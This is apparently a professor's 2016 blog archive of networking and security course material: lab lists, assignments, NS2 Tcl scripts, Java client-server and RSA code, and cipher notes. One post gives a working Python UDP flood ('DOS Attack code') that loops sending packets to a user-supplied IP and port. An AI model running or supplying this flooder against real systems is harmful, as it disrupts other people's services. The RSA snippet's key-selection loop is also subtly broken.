Posts

Showing posts from 2016

CSS PRACTICAL / EXPERIMENT LIST

PRACTICAL / EXPERIMENT LIST Name of Faculty: Prof Ansari Mukhtar  Academic Year: 2016 -17   Department: CO  Subject: CSS Class: BE Semester: VII   Cryptography: EXPERIMENT-1: Write a java program for Implementing a Symmetric key cryptography of Caeser Cipher and Product Cipher algorithm. EXPERIMENT-2: Write a java program for Implementing a Symmetric key cryptography of Product Cipher algorithm. EXPERIMENT-3: Study and Implementation of RSA algorithm.   EXPERIMENT-4: Study and Implementation of A5/1 algorithm. EXPERIMENT-5: To study Blowfish algorithm and write a program for encryption and decryption using blowfish generated key. System Security: EXPERIMENT-1: To study and demonstrate SQL Injection by attacking the Local Database. EXPERIMENT-2: To study and demonstrate working of virus on virtual operating system. EXPERIMENT-3: To study and

DOS Attack code for python

import socket import random sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(1362) #Creates packet ip=raw_input('Target IP: ') #The IP we are attacking port=input('Port: ') #Port we direct to attack sent= 0 while 1: #Infinitely loops sending packets to the port until the program is exited.     sock.sendto(bytes,(ip,port))     print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)     sent= sent + 1

CN LAB [Experiments List]

  EXPERIMENT-1.a : Study of following Network Types. • PAN • LAN • MAN • WAN   EXPERIMENT-1.b : Study of different types of Network cables and Practically implement the cross-wired cable using clamping tool. EXPERIMENT-2.a : Study of following Network Topologies. • Bus • Ring • Star • Mesh • Tree • Hybrid   EXPERIMENT-2.b : Study of following Network Devices in Detail • Repeater • Hub • Switch • Bridge • Router • Gate Way EXPERIMENT-3 : Installation & Configuration of NS2 in Linux environment and building basic LAN topology in NS2. EXPERIMENT-4: Building Dynamic Routing topology using NS2. EXPERIMENT-5: Write a program to find out class of a given IP address, subnet mask & first & last IP address of that block. EXPERIMENT-6: Write a program to build client-server model on different computers. EXPERIMENT-7: Write a program for Congestion Control using :                                   a. Stop &am

Assignment No 2 [Last Date : 14/10/2016]

  1. List and Explain different types of routing. ( 6.b: Dec-12, 5.b: May-13, Marks10) 2. Explain the IPv4 and IPv6 header format in details. (5.b: May-11, 5.a: Dec-11, 4.a: May -12, Marks 10)   3. Write a short note on CIDR. ( 7.d: May-13. Marks 10) 4. Why there is a need for congestion control? What are the different mechanisms? Explain them. ( 4.a: Dec-14, Marks 10) 5. An organization is granted the block 211.17.180.0/24. The administrator wants to create 32 subnets. a. Find the subnet mask. b. Find the number of addresses in each subnets. c. Find the first and last address in subnet 1. d. Find the first and last addresses in subnet 32. ( 4.b: Dec-10 Marks 10) 6. Explain the different elements of transport protocols. ( 2.b: Dec-14,Marks10) 7. Explain how TCP handles error control and flow control. ( 3.a: Dec-14,Marks 10 ) 8.Explain the need for DNS and describe the protocol functioning. ( 2.a: Dec-14, Marks 10)

CLIENT SERVER MODEL

CLIENT : import java.io.DataInputStream; import java.io.IOException; import java.io.PrintStream; import java.net.Socket; public class Client { public static void main(String a[]) throws IOException { Socket s = new Socket("LocalHost",8000); DataInputStream in=new DataInputStream(s.getInputStream()); DataInputStream inn=new DataInputStream(System.in); PrintStream dos=new PrintStream(s.getOutputStream()); while(true) { String str=in.readLine (); System.out.println("msg received:"+str); if(str.equals("end")) { s.close(); break; } System.out.println("enter the msg to send: "); String str1=inn.readLine (); dos.println(str1); if(str1.equals("end")) { s.close(); break; } } } } SERVER : import java.io.DataInputStream; import java.io.IOException; import java.io.PrintStream; import java.net.ServerSocket; import java.net.Socket; public class Server { public static void main(String a[])throws IOException { ServerSocket ss = new ServerSocket(80

QESTION BANK FOR CN

Explain Data link layer design issues. With a neat diagram compare the uses and functions of different hardware components/devices used in an internetwork. Explain ALOHA in details. What is layering? Discuss the design issues for layers. Draw and explain the architecture and protocol stack of Bluetooth. Describe VLAN in details. Describe Error Detection and Correction techniques. Compare the TCP/IP and OSI refernce models. Explain CSMA protocol. Explain how collisions are handles in CSMA/CD. Explain Encapsulation and Decapsulation in details. Explain Unicasting, Multicasting and Mroadcasting. Explain different framing methods. List and explain different control access protocol. Explain and compare the following: Ethernet, token bus and token ring.

wireless program 3 run

# Define options set val(chan) Channel/WirelessChannel ;# channel type set val(prop) Propagation/TwoRayGround ;# radio-propagation model set val(netif) Phy/WirelessPhy ;# network interface type set val(mac) Mac/802_11 ;# MAC type set val(ifq) Queue/DropTail/PriQueue ;# interface queue type set val(ll) LL ;# link layer type set val(ant) Antenna/OmniAntenna ;# antenna model set val(ifqlen) 50 ;# max packet in ifq set val(nn) 5 ;# number of mobilenodes set val(rp) DSDV ;# routing protocol set val(x) 1000 ;# X dimension of topography set val(y) 1000 ;# Y dimension of topography set val(stop) 30 ;# time of simulation end # Define options set ns [new Simulator] set tracefd [open simple.tr w] set namtrace [open simwrls.nam w] $ns trace-all $tracefd $ns namtrace-all-wireless $namtrace $val(x) $val(y) # set up topography object set topo [new Topography] $topo load_flatgrid $val(x) $val(y) create-god $val(nn) # configure the nodes $ns node-config -adhocRouting $val(rp) \ -llType $val(ll) \ -mac

new sample program

# Simulator Instance Creation set ns [new Simulator] #Fixing the co-ordinate of simutaion area set val(x) 500 set val(y) 500 # Define options set val(chan) Channel/WirelessChannel ;# channel type set val(prop) Propagation/TwoRayGround ;# radio-propagation model set val(netif) Phy/WirelessPhy ;# network interface type set val(mac) Mac/802_11 ;# MAC type set val(ifq) Queue/DropTail/PriQueue ;# interface queue type set val(ll) LL ;# link layer type set val(ant) Antenna/OmniAntenna ;# antenna model set val(ifqlen) 50 ;# max packet in ifq set val(nn) 2 ;# number of mobilenodes set val(rp) AODV ;# routing protocol set val(x) 500 ;# X dimension of topography set val(y) 400 ;# Y dimension of topography set val(stop) 10.0 ;# time of simulation end # set up topography object set topo [new Topography] $topo load_flatgrid $val(x) $val(y) #Nam File Creation nam – network animator set namfile [open sample1.nam w] #Tracing all the events and cofiguration $ns namtrace-a

wireless topology program

#-------Event scheduler object creation--------# set ns [new Simulator] # Creating trace file and nam file set tracefd [open wireless1.tr w] set namtrace [open wireless1.nam w]   $ns trace-all $tracefd $ns namtrace-all-wireless $namtrace $val(x) $val(y) # set up topography object set topo [new Topography] $topo load_flatgrid $val(x) $val(y) set god_ [create-god $val(nn)] # configure the nodes         $ns node-config -adhocRouting $val(rp) \                    -llType $val(ll) \                    -macType $val(mac) \                    -ifqType $val(ifq) \                    -ifqLen $val(ifqlen) \                    -antType $val(ant) \                    -propType $val(prop) \                    -phyType $val(netif) \                    -channelType $val(chan) \                    -topoInstance $topo \                    -agentTrace ON \                    -routerTrace ON \                    -macTrace OFF \                    -movementTrace ON                    ## Creating node obj

RSA Algorithm

import java.io.DataInputStream; import java.io.IOException; import java.math.BigInteger; import java.util.Random; public class RSA {     private BigInteger p;     private BigInteger q;     private BigInteger N;     private BigInteger phi;     private BigInteger e;     private BigInteger d;     private int bitlength = 1024;     private Random r;     public RSA()     {         r = new Random();         p = BigInteger.probablePrime(bitlength, r);         q = BigInteger.probablePrime(bitlength, r);         N = p.multiply(q);         phi = p.subtract(BigInteger.ONE).multiply(q.subtract(BigInteger.ONE));         e = BigInteger.probablePrime(bitlength / 2, r);         while (phi.gcd(e).compareTo(BigInteger.ONE) > 0 && e.compareTo(phi) < 0)         {             e.add(BigInteger.ONE);         }         d = e.modInverse(phi);     }     public RSA(BigInteger e, BigInteger d, BigInteger N)     {         this.e = e;         this.d = d;         this.N = N;     }     @SuppressWarning

Routing Algorithm in NS2

#Create a simulator object set ns [new Simulator] #Tell the simulator to use dynamic routing $ns rtproto DV #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Define a 'finish' procedure proc finish {} {         global ns nf         $ns flush-trace     #Close the trace file         close $nf     #Execute nam on the trace file         exec nam out.nam &         exit 0 } #Create seven nodes for {set i 0} {$i < 7} {incr i} {         set n($i) [$ns node] } #Create links between the nodes for {set i 0} {$i < 7} {incr i} {         $ns duplex-link $n($i) $n([expr ($i+1)%7]) 1Mb 10ms DropTail } #Create a UDP agent and attach it to node n(0) set udp0 [new Agent/UDP] $ns attach-agent $n(0) $udp0 # Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a Null agent (a traffic sink) and attach it to node n(3) set null0 [new Agent/Null] $ns at

Assignment 1 COMPUTER NETWORKS [Last Date : 30 August 2016]

1. With a neat diagram compare the uses and functions of differnet hardware components/devices used in an internetwork. ( 1.a :May -12, 1.a :Dec -12, Marks 10) 2. Explain ALOHA in details. ( 1.c :May -12 , Marks 10) 3. What is layering? Discuss the design issues for layers. (1.a :May -13, Marks 10) 4. Explain the ISO- OSI network model and discuss the functions of each layer. (1.b :May -11, Marks 12) 5. Compare the TCP/IP and OSI refernce models. (1.b :May -11, 1.aDec -14, Marks 10) 6. Explain the modes of propogating light along optical channels. What are the advantages over other guided media. (1.b :Dec -14, Marks 10) 7. Draw and explain the architecture and protocol stack of Bluetooth. ( 7.c :Dec -11, 7.c :May -13, Marks 5/10) 8. Explain different framing methods. What are the advatages at variable length frames over fixed length frames. (1.b :May -11, 2.a :May -13, Marks 10) 9. Why is the flow control needed? What are the mechanisms? Explain how the Go-Back-N and Selective

sample tcl program

#Create a simulator object set ns [new Simulator] #Define different colors for data flows $ns color 1 Green $ns color 2 Red #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Define a 'finish' procedure proc finish {} {         global ns nf         $ns flush-trace     #Close the trace file         close $nf     #Execute nam on the trace file         exec nam out.nam &         exit 0 } #Create four nodes set n0 [$ns node] set n1 [$ns node] set n2 [$ns node] set n3 [$ns node] #Create links between the nodes $ns duplex-link $n0 $n2 1Mb 10ms DropTail $ns duplex-link $n1 $n2 1Mb 10ms DropTail $ns duplex-link $n3 $n2 1Mb 10ms SFQ $ns duplex-link-op $n0 $n2 orient right-down $ns duplex-link-op $n1 $n2 orient right-up $ns duplex-link-op $n2 $n3 orient right #Monitor the queue for the link between node 2 and node 3 #$ns duplex-link-op $n2 $n3 queuePos 0.5 $ns duplex-link-op $n0 $n2 queuePos 0.5 #Create a UDP agent and attach it to node n0 set udp0 [new Agent/UDP

Ceaser Cipher

Image
Caesar Cipher Introduction The Caesar cipher is one of the earliest known and simplest ciphers. It is a type of substitution cipher in which each letter in the plaintext is 'shifted' a certain number of places down the alphabet. For example, with a shift of 1, A would be replaced by B, B would become C, and so on. The method is named after Julius Caesar, who apparently used it to communicate with his generals. More complex encryption schemes such as the Vigenère cipher employ the Caesar cipher as one element of the encryption process. The widely known ROT13 'encryption' is simply a Caesar cipher with an offset of 13. The Caesar cipher offers essentially no communication security, and it will be shown that it can be easily broken even by hand. Example To pass an encrypted message from one person to another, it is first necessary that both parties have the 'key' for the cipher, so that the sender may encrypt it and the receiver may decrypt it

Product Cipher

Image
Product Cipher Example 1 Key Number : Relation I chose the word “Relations” because there is no the same character, so that more produce number key. Number range that I chose was 11-32 Keyword = Dragon Plaintext = computer registration  65-2j/4 Ciphertext = 16523271921944321114247215664292254 Example 2 Key number = Modem   I chose the word “Modem” because I always use the modem to work tasks . Key word = Backpack Range number 51-75 Plainteks = HALUOLEO UNIVERSITY (UNHALU) Ciphertext = 5655686914681214697360711257616065546669735655686970 Example 3 Key number = Mosquito I chose the word “Mosquito” because mosquito is a unique word. Key word = inject Range number = 70-90 Plainteks = SERIAL NUMBER 12/2Q2_2SD Ciphertext = 579846888972987079841287272902573 Example 4 Key number = PROBLEM I chose the word “Problem” because there is no the same character, so that more produce number key. Key w

String Programs

#include <stdio.h> int main(){     char name[20];     printf("Enter name: ");     scanf("%s",name);     printf("Your name is %s.",name);     return 0; } ***************************************** #include <stdio.h> int main() {     char name[30];     printf("Enter name: ");     gets(name);     //Function to read string from user.     printf("Name: ");     puts(name);    //Function to display string.     //return 0; } ***************************************** #include <stdio.h> #include <string.h> int main () {    char str1[12] = "Hello";    char str2[12] = "World";    char str3[12];    int  len ;    /* copy str1 into str3 */    strcpy(str3, str1);    printf("strcpy( str3, str1) :  %s\n", str3 );    /* concatenates str1 and str2 */    strcat( str1, str2);    printf("strcat( str1, str2):   %s\n", str1 );    /* total lenghth of str1 after concatenation */    len =

Distributed Deadlock Detection

Distributed Deadlock Detection Deadlock can occur whenever two or more processes are competing for limited resources and the processes are allowed to acquire and hold a resource (obtain a lock) thus preventing others from using the resource while the process waits for other resources. Two common places where deadlocks may occur are with processes in an operating system (distributed or centralized) and with transactions in a database.   The concepts discussed here are applicable to any system that allocates resources to processes. Locking protocols such as the popular Two Phase Locking (see concurrency control) give rise to deadlock as follows: process A gets a lock on data item X while process B gets a lock on data item Y.   Process A then tries to get a lock on Y.   As Y is already locked, process A enters a blocked state.   Process B now decides to get a lock on X, but is blocked.   Both processes are now blocked, and, by the rules of Two Phase Locking, neither will reli

SPA QUESTION BANK [1st UNIT TEST]

QUESTION BANK [SPA] 1.  What are constant, dataypes and variable? 2.  Write a program to display numbers from 10 to 1 and then 10 to 1. 3.  Draw a flow chart to find the greatest number out of 3 numbers. 4.  Explain switch control statement with help of example. 5.  Explain increment and decrements operators with an example. 6.  Write a program to calculate GCD and LCM of two numbers. 7.  Explain ternary operators with example? 8.  Write difference between while and do-while loop. 9.  Write a program to generate Fibonacci series up to n terms. 10. Write a program to find biggest of given 3 numbers using conditional operator. 11. Write a program to Calculate and print the factorial of given Number. 12. Explain bitwise operators with example in C language. 13. Write a program to find the gross salary by taking input as basic salary, DA as 50% and HRA as 40%. 14. Write a program to swap to numbers. Prof. Mukhtar Ansari Computer Engineering Department SoET - AIKTC